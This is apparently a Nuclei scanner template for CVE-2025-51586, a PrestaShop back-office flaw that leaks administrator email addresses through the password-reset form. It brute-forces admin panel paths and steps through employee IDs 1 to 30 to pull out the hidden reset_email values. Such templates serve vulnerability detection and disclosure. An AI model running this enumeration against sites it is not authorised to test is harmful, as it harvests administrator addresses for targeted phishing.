id: CVE-2025-51586

info:
  name: PrestaShop - Information Disclosure
  author: mastercho
  severity: medium
  description: |
    User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2 allows remote attackers to obtain administrators user email addresses via manipulation of the id_employee and reset_token parameters. An attacker who has access to the Back Office login URL can trigger the password reset form to disclose the associated email address in a hidden field, even when the provided reset token is invalid. This issue has been fixed in 8.2.3.
  impact: |
    Attackers with access to the Back Office login URL can enumerate administrator email addresses through manipulation of password reset parameters, facilitating targeted phishing attacks.
  remediation: |
    Upgrade PrestaShop to version 8.2.3 or later that properly protects email addresses in password reset functionality.
  reference:
    - https://maxime-morel.github.io/advisories/2025/CVE-2025-51586.md
    - https://security.friendsofpresta.org/core/2025/09/04/CVE-2025-51586.html
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51586
  classification:
    cwe-id: CWE-359
  metadata:
    verified: true
    vendor: prestashop
    product: prestashop
    shodan-query: http.component:"prestashop"
  tags: cve,cve2025,prestashop,disclosure,token

variables:
  token: "{{rand_base(32)}}"
  token2: "{{rand_base(32)}}"

flow: |
  // 1) Run panel detection on all common admin paths
  http(1);

  // 2) Unwrap matchedpath (extractors return a list in flow)
  var path = "";
  if (template["matchedpath"] && template["matchedpath"].length) {
    for (let p of iterate(template["matchedpath"])) {
      path = p;
      break; // use first detected admin path
    }
  }

  // 3) Unwrap version (first extracted value)
  var v = "";
  if (template["version"] && template["version"].length) {
    for (let ver of iterate(template["version"])) {
      v = ver;
      break;
    }
  }

  // 4) JS version check: vulnerable if version < 8.2.3
  function isVulnerable(ver) {
    if (!ver) return true;           // unknown version -> still test
    var parts = (ver + "").split(".");
    var M = parseInt(parts[0] || "0", 10);
    var m = parseInt(parts[1] || "0", 10);
    var p = parseInt(parts[2] || "0", 10);

    if (M < 8) return true;
    if (M > 8) return false;
    if (m < 2) return true;
    if (m > 2) return false;
    return p < 3;                    // 8.2.0–8.2.2 are vuln; 8.2.3+ are not
  }

  // 5) Only execute http(2) if we have a path AND the version is vulnerable
  if (path && isVulnerable(v)) {
    set("matchedpath", path);        // scalar for interpolation in http(2)
    http(2);
  }

http:
  - id: detect-panel
    method: GET
    path:
      - '{{BaseURL}}/{{paths}}/'

    payloads:
      paths:
        - 'backoffice'
        - 'back-office'
        - 'Backoffice'
        - 'admin-dev'
        - 'backend'
        - 'admin_'
        - 'mikromanage'
        - 'manage'
        - 'manager'
        - 'adminshop'
        - 'administrator'
        - 'administracja'
        - 'adm'
        - 'webadmin'
        - 'admin-web'
        - 'kontrollpanel'
        - 'amministra'
        - 'adminas'
        - 'admin123'
        - 'admin0'
        - 'adminxx'
        - 'admin'
        - 'ps-admin'
        - 'admins'
        - 'p-office'
        - 'admin333'
        - 'admin4444'
        - 'admin66'
        - 'backadmin'
        - 'admin1'
        - 'BackofficeNEW'
        - '4dm1n'
        - 'administrazione'
        - 'accesadministrateur'
        - '_admin123'
        - 'iadmin'
        - 'panel'

    host-redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: matchedpath
        part: body
        group: 1
        internal: true
        regex:
          - 'value="https?:\/\/[^\/]+\/((?:[A-Za-z]{2}\/)?(?:[A-Za-z0-9_-]*admin(?:-dev)?|[Bb]ackoffice|adm|panel)[^"]*?)\/'

      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - 'login\.js\?v=([0-9.]+)'

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - 'PrestaShop'
          - 'class="show-forgot-password'
        condition: and

      - type: word
        part: body
        words:
          - 'themes/default/css/admin-theme.css'
          - 'class="show-forgot-password'
        condition: and

  - id: generate-token
    method: GET
    path:
      - '{{Scheme}}://{{Hostname}}/{{matchedpath}}/index.php?controller=AdminLogin&token={{token}}&id_employee={{id}}&reset_token={{token2}}'

    payloads:
      id:
        - '1'
        - '2'
        - '3'
        - '4'
        - '5'
        - '6'
        - '7'
        - '8'
        - '9'
        - '10'
        - '11'
        - '12'
        - '13'
        - '14'
        - '15'
        - '16'
        - '17'
        - '18'
        - '19'
        - '20'
        - '21'
        - '22'
        - '23'
        - '24'
        - '25'
        - '26'
        - '27'
        - '28'
        - '29'
        - '30'

    iterate-all: true

    extractors:
      - type: regex
        name: reset-email
        part: body
        group: 1
        regex:
          - '<input[^>]*name="reset_email"[^>]*value="([^"]+)"'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'AdminLogin'
          - 'PrestaShop'
        condition: and

      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - '<input[^>]*name="reset_email"[^>]*value="([^"]+)"'
# digest: 4a0a00473045022100c11f27e73fb8590375bf3b2d7e70614b8762c8199f58c2f7b063f419c963024902200bc6dd06707ed801ced9e1e98fb097acbc8ae14f8301b82cb40e5800c6ecce51:922c64590222798bb761d5b6d8e72950